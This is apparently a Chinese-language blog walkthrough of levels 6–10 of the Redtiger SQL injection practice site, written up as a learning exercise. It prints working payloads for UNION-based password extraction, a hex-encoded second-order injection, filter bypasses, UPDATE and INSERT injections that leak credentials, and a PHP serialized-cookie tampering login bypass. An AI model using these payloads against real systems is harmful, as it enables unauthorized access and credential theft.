Redtiger SQL注入練習(二)
第六關:
點選 click me,構造url:user=1',返回user not found。user=1'',同樣。
猜測是數字型注入,構造order by , user=1 order by X#,得出有5個欄位。
然後,user=0 union select 1,2,3,4,5#,說user not found。不是吧。。。。
用username試試吧,user=0 union select 1,username,3,4,5 from level6_users where status=1#
返回如圖:
接下來就需要找密碼了。用password試了5個位置,沒用。想了好長時間,沒有啥思路,只能看大佬的writeup了。(參考https://blog.spoock.com/2016/07/25/redtiger-writeup/)
知道了可能是sql二次查詢:
1
2
3
4
5
6
7
8 |
$sql = "select username,password from level6_users where id=1";
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' ); $row1 = mysql_fetch_row($result); #從結果中取出username欄位 $username = $row1[1]; $sql2 = "select username,email from level6_users where username="."'".$username."'"; |
構造payload:user=0 union select 1,admin'union select 1,2,3,password,5 from level6_users where status=1#,3,4,5# 返回 user not found, 哦,fuck。
大佬說轉換成16進位制,腦子不夠用,emmmmmm。
最終payload:user=0 union select 1,0x061646d696e3127756e696f6e2073656c65637420312c322c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d3123,3,4,5#
第七關:
提示如上,過濾了一堆東西,輸入一個 ' 試試,報錯並且返回sql語句:
思考後,先把括號閉合,然後經過測試,order by 被ban了,而且註釋 # 和-- 也無效。
order by 可以直接用 union select猜 ,註釋 -- ,空格可以用%a0等等替換,構造
payload:')union select 1--%a0, 只能用burp抓包改值,hackbar post提交不行,不知道為啥,搞了半天沒結果。猜測出列數為4。
結果只顯示,3和4.之後注入:')union select 1,2,autor,4 from level7_news--%a0
最後得到答案。
第八關:
看到4個輸入框,分別輸入一次單引號,發現只有email後可以注入,
然後沒什麼思路了,看了大佬們的操作,猜測後臺的語句為:
update table set name='[inputname]',email='[inputemail]',icq='[inputicq]',age='[inputage]' where id=1
update 語句 後邊的值會覆蓋前邊的值,比如:update table set name=1,email=2,name=2.........
此時 name最終是2。
於是我們構造:',name=password,icq='1
得到admin使用者的密碼。
第九關:
測試發現在text 初新增' 會報錯,這裡存在注入點。
猜測後臺語句為:
insert into tablename(autor,title,text) values('[inputautor]','[inputtitle]','[inputtext]')。
於是構造:
'), ((select username from level9_users limit 1), (select password from level9_users limit 1),'456
得到使用者名稱和密碼。參考(https://blog.spoock.com/2016/07/25/redtiger-writeup/).
第十關:
這關和php序列化有關,比較懵。
看原始碼,有一串base64加密的東西,解密得到:
a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}
提示只能用TheMaster登入,但是密碼不知道,序列化,可以把密碼改成布林值為1.
於是改為:a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}
base64加密後提交過關。(注意:不同的加密網站,加密出的結果不同。)